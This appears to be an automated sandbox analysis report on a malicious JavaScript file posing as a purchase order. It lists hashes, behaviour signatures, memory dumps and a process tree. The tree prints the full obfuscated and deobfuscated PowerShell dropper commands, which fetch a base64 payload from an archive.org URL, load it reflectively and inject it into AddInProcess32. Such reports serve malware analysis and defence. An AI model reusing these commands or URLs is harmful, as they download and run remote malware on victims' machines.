Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    21-09-2024 01:11

General

  • Target

    Purchase Order . September Deelivery.js

  • Size

    602KB

  • MD5

    c99eede8df6223c9f608dbc64dee57ff

  • SHA1

    a6df986b275fabe045dda8b6d3d34c3cd7640aad

  • SHA256

    574403dce45be3a5edec18e66f16fef5e013ce99c7713479ab67c11e6f472330

  • SHA512

    b68bd89a6a06b3f33b923898bbdeb95bb796ee2be1733bc94758006f67d7fa0a596fea889545c8ddf1d3b2049f662d4b0c5e99d38aef3eaa81d445babf6b10ea

  • SSDEEP

    12288:o2QfMbARmlPDpIZDA48VcnheZB4HGLUtc0riOhuuMtn2kqZrjCU87cG/Q12oaCMs:X7GZiwzx1ZLwLsD

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Order . September Deelivery.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAG8AZABMACcAKwAnAHUAJwArACcAcgAnACsAJwBsACAAPQAgAEoAQgAnACsAJwBuAGgAdAAnACsAJwB0AHAAcwA6AC8ALwAnACsAJwBpAGEAJwArACcAOQAwADQANgAnACsAJwAwADEALgB1AHMALgAnACsAJwBhAHIAYwBoACcAKwAnAGkAdgBlAC4AbwByAGcAJwArACcALwA2ACcAKwAnAC8AaQB0AGUAJwArACcAbQAnACsAJwBzAC8AZAAnACsAJwBlAHQAJwArACcAYQBoAC0AbgBvAHQAZQAtAGoALwBEAGUAdABhAGgATgBvAHQAZQBKAC4AdAAnACsAJwB4AHQASgAnACsAJwBCAG4AJwArACcAOwAnACsAJwBvAGQATABiAGEAcwBlADYANABDAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnACAAJwArACcAPQAnACsAJwAgACcAKwAnACgATgBlAHcALQBPAGIAagBlAGMAdAAnACsAJwAgACcAKwAnAFMAeQAnACsAJwBzAHQAZQBtACcAKwAnAC4ATgBlACcAKwAnAHQALgBXAGUAYgBDAGwAJwArACcAaQBlAG4AJwArACcAdAApACcAKwAnAC4ARABvAHcAbgAnACsAJwBsAG8AJwArACcAYQBkAFMAdAAnACsAJwByACcAKwAnAGkAbgAnACsAJwBnACgAbwBkAEwAdQByAGwAKQA7AG8AJwArACcAZABMAGIAaQAnACsAJwBuAGEAcgB5ACcAKwAnAEMAbwBuAHQAJwArACcAZQBuACcAKwAnAHQAIAA9ACAAWwBTAHkAJwArACcAcwB0ACcAKwAnAGUAJwArACcAbQAuAEMAbwBuACcAKwAnAHYAZQByAHQAXQAnACsAJwA6ADoARgAnACsAJwByACcAKwAnAG8AbQBCACcAKwAnAGEAJwArACcAcwBlADYANAAnACsAJwBTACcAKwAnAHQAJwArACcAcgBpAG4AJwArACcAZwAoAG8AJwArACcAZAAnACsAJwBMACcAKwAnAGIAYQBzACcAKwAnAGUANgAnACsAJwA0ACcAKwAnAEMAbwBuACcAKwAnAHQAZQBuAHQAKQA7ACcAKwAnAG8AZAAnACsAJwBMAGEAcwBzAGUAbQAnACsAJwBiAGwAJwArACcAeQAnACsAJwAgAD0AIABbACcAKwAnAFIAZQBmACcAKwAnAGwAZQBjACcAKwAnAHQAaQAnACsAJwBvAG4ALgBBAHMAcwBlACcAKwAnAG0AJwArACcAYgBsAHkAXQAnACsAJwA6ADoATABvACcAKwAnAGEAJwArACcAZAAoAG8AJwArACcAZAAnACsAJwBMACcAKwAnAGIAaQBuACcAKwAnAGEAJwArACcAcgAnACsAJwB5AEMAJwArACcAbwAnACsAJwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQAnACsAJwA7ACcAKwAnAG8AZAAnACsAJwBMAHQAeQAnACsAJwBwAGUAIAAnACsAJwA9ACAAbwBkACcAKwAnAEwAJwArACcAYQBzACcAKwAnAHMAZQBtAGIAJwArACcAbAB5AC4ARwBlACcAKwAnAHQAVAB5AHAAZQAoACcAKwAnAEoAQgBuAFIAJwArACcAdQBuAFAARQAnACsAJwAuAEgAbwAnACsAJwBtAGUASgBCAG4AKQA7ACcAKwAnAG8AZABMACcAKwAnAG0AZQB0ACcAKwAnAGgAJwArACcAbwAnACsAJwBkACcAKwAnACAAJwArACcAPQAnACsAJwAgACcAKwAnAG8AJwArACcAZAAnACsAJwBMAHQAJwArACcAeQBwACcAKwAnAGUAJwArACcALgBHAGUAdABNACcAKwAnAGUAdABoAG8AZAAoAEoAQgBuACcAKwAnAFYAQQAnACsAJwBJAEoAQgBuACkAOwBvAGQATABtAGUAdABoAG8AZAAuAEkAbgAnACsAJwB2AG8AawBlACgAbwBkAEwAbgB1AGwAbAAsACAAWwBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACsAJwBbAF0AJwArACcAXQBAACgASgAnACsAJwBCAG4AdAAnACsAJwB4AHQALgBlAG4AbwBjACcAKwAnAGEAJwArACcAbQAvACcAKwAnAHYAZQBkACcAKwAnAC4AMgAnACsAJwByACcAKwAnAC4AJwArACcAMwA5AGIAMwA0ACcAKwAnADUAMwAnACsAJwAwADIAYQAwADcANQBiADEAJwArACcAYgAnACsAJwBjADAAZAAnACsAJwA0ADUAYgA2ADMAJwArACcAMgBlAGIAOQAnACsAJwBlACcAKwAnAGUANgAyAC0AYgB1AHAAJwArACcALwAvADoAcwAnACsAJwBwAHQAdABoACcAKwAnAEoAQgAnACsAJwBuACAALAAnACsAJwAgAEoAQgBuAGQAZQBzAGEAJwArACcAdAAnACsAJwBpACcAKwAnAHYAYQBkAG8ASgAnACsAJwBCACcAKwAnAG4AJwArACcAIAAsACAAJwArACcASgBCAG4AJwArACcAZABlACcAKwAnAHMAYQB0AGkAdgBhAGQAbwBKAEIAbgAnACsAJwAgACwAIABKAEIAJwArACcAbgBkAGUAcwBhAHQAaQB2ACcAKwAnAGEAZAAnACsAJwBvACcAKwAnAEoAJwArACcAQgBuACwASgBCAG4AJwArACcAQQBkAGQASQBuAFAAcgBvAGMAJwArACcAZQBzAHMAMwAyAEoAJwArACcAQgBuACwASgAnACsAJwBCACcAKwAnAG4AZABlAHMAYQB0ACcAKwAnAGkAdgBhAGQAbwBKACcAKwAnAEIAbgApACcAKwAnACkAOwAnACkALgBSAGUAUABsAGEAQwBlACgAJwBKAEIAbgAnACwAWwBTAFQAUgBJAE4ARwBdAFsAQwBoAGEAUgBdADMAOQApAC4AUgBlAFAAbABhAEMAZQAoACgAWwBDAGgAYQBSAF0AMQAxADEAKwBbAEMAaABhAFIAXQAxADAAMAArAFsAQwBoAGEAUgBdADcANgApACwAJwAkACcAKQB8ACAALgAgACgAIAAkAFAAcwBoAE8AbQBFAFsANABdACsAJABQAHMASABvAE0ARQBbADMANABdACsAJwB4ACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('odL'+'u'+'r'+'l = JB'+'nht'+'tps://'+'ia'+'9046'+'01.us.'+'arch'+'ive.org'+'/6'+'/ite'+'m'+'s/d'+'et'+'ah-note-j/DetahNoteJ.t'+'xtJ'+'Bn'+';'+'odLbase64Conte'+'nt'+' '+'='+' '+'(New-Object'+' '+'Sy'+'stem'+'.Ne'+'t.WebCl'+'ien'+'t)'+'.Down'+'lo'+'adSt'+'r'+'in'+'g(odLurl);o'+'dLbi'+'nary'+'Cont'+'en'+'t = [Sy'+'st'+'e'+'m.Con'+'vert]'+'::F'+'r'+'omB'+'a'+'se64'+'S'+'t'+'rin'+'g(o'+'d'+'L'+'bas'+'e6'+'4'+'Con'+'tent);'+'od'+'Lassem'+'bl'+'y'+' = ['+'Ref'+'lec'+'ti'+'on.Asse'+'m'+'bly]'+'::Lo'+'a'+'d(o'+'d'+'L'+'bin'+'a'+'r'+'yC'+'o'+'n'+'te'+'nt)'+';'+'od'+'Lty'+'pe '+'= od'+'L'+'as'+'semb'+'ly.Ge'+'tType('+'JBnR'+'unPE'+'.Ho'+'meJBn);'+'odL'+'met'+'h'+'o'+'d'+' '+'='+' '+'o'+'d'+'Lt'+'yp'+'e'+'.GetM'+'ethod(JBn'+'VA'+'IJBn);odLmethod.In'+'voke(odLnull, [o'+'bje'+'ct'+'[]'+']@(J'+'Bnt'+'xt.enoc'+'a'+'m/'+'ved'+'.2'+'r'+'.'+'39b34'+'53'+'02a075b1'+'b'+'c0d'+'45b63'+'2eb9'+'e'+'e62-bup'+'//:s'+'ptth'+'JB'+'n ,'+' JBndesa'+'t'+'i'+'vadoJ'+'B'+'n'+' , '+'JBn'+'de'+'sativadoJBn'+' , JB'+'ndesativ'+'ad'+'o'+'J'+'Bn,JBn'+'AddInProc'+'ess32J'+'Bn,J'+'B'+'ndesat'+'ivadoJ'+'Bn)'+');').RePlaCe('JBn',[STRING][ChaR]39).RePlaCe(([ChaR]111+[ChaR]100+[ChaR]76),'$')| . ( $PshOmE[4]+$PsHoME[34]+'x')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2348

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    4292d8a8f1f0abec7a54141f0dbc186a

    SHA1

    4603cdd937550ba3c1e84c757c6b31e96ce8d178

    SHA256

    f1df06402d1b3f13a215bec46403648bc1497462c91d1a7285d254cb5b2e2471

    SHA512

    6123b628a5a54d26d4137ab55ceb820b54ddc3585eb83527492c25775717fb124fc7a760a105fd54d77a7607ded44fe1641c88d19010fb6c799548fe35048ad9

  • memory/1872-4-0x000007FEF5F7E000-0x000007FEF5F7F000-memory.dmp

    Filesize

    4KB

  • memory/1872-7-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

    Filesize

    9.6MB

  • memory/1872-6-0x0000000001E70000-0x0000000001E78000-memory.dmp

    Filesize

    32KB

  • memory/1872-5-0x000000001B720000-0x000000001BA02000-memory.dmp

    Filesize

    2.9MB

  • memory/1872-8-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

    Filesize

    9.6MB

  • memory/1872-9-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

    Filesize

    9.6MB

  • memory/1872-10-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

    Filesize

    9.6MB

  • memory/1872-11-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

    Filesize

    9.6MB

  • memory/1872-17-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

    Filesize

    9.6MB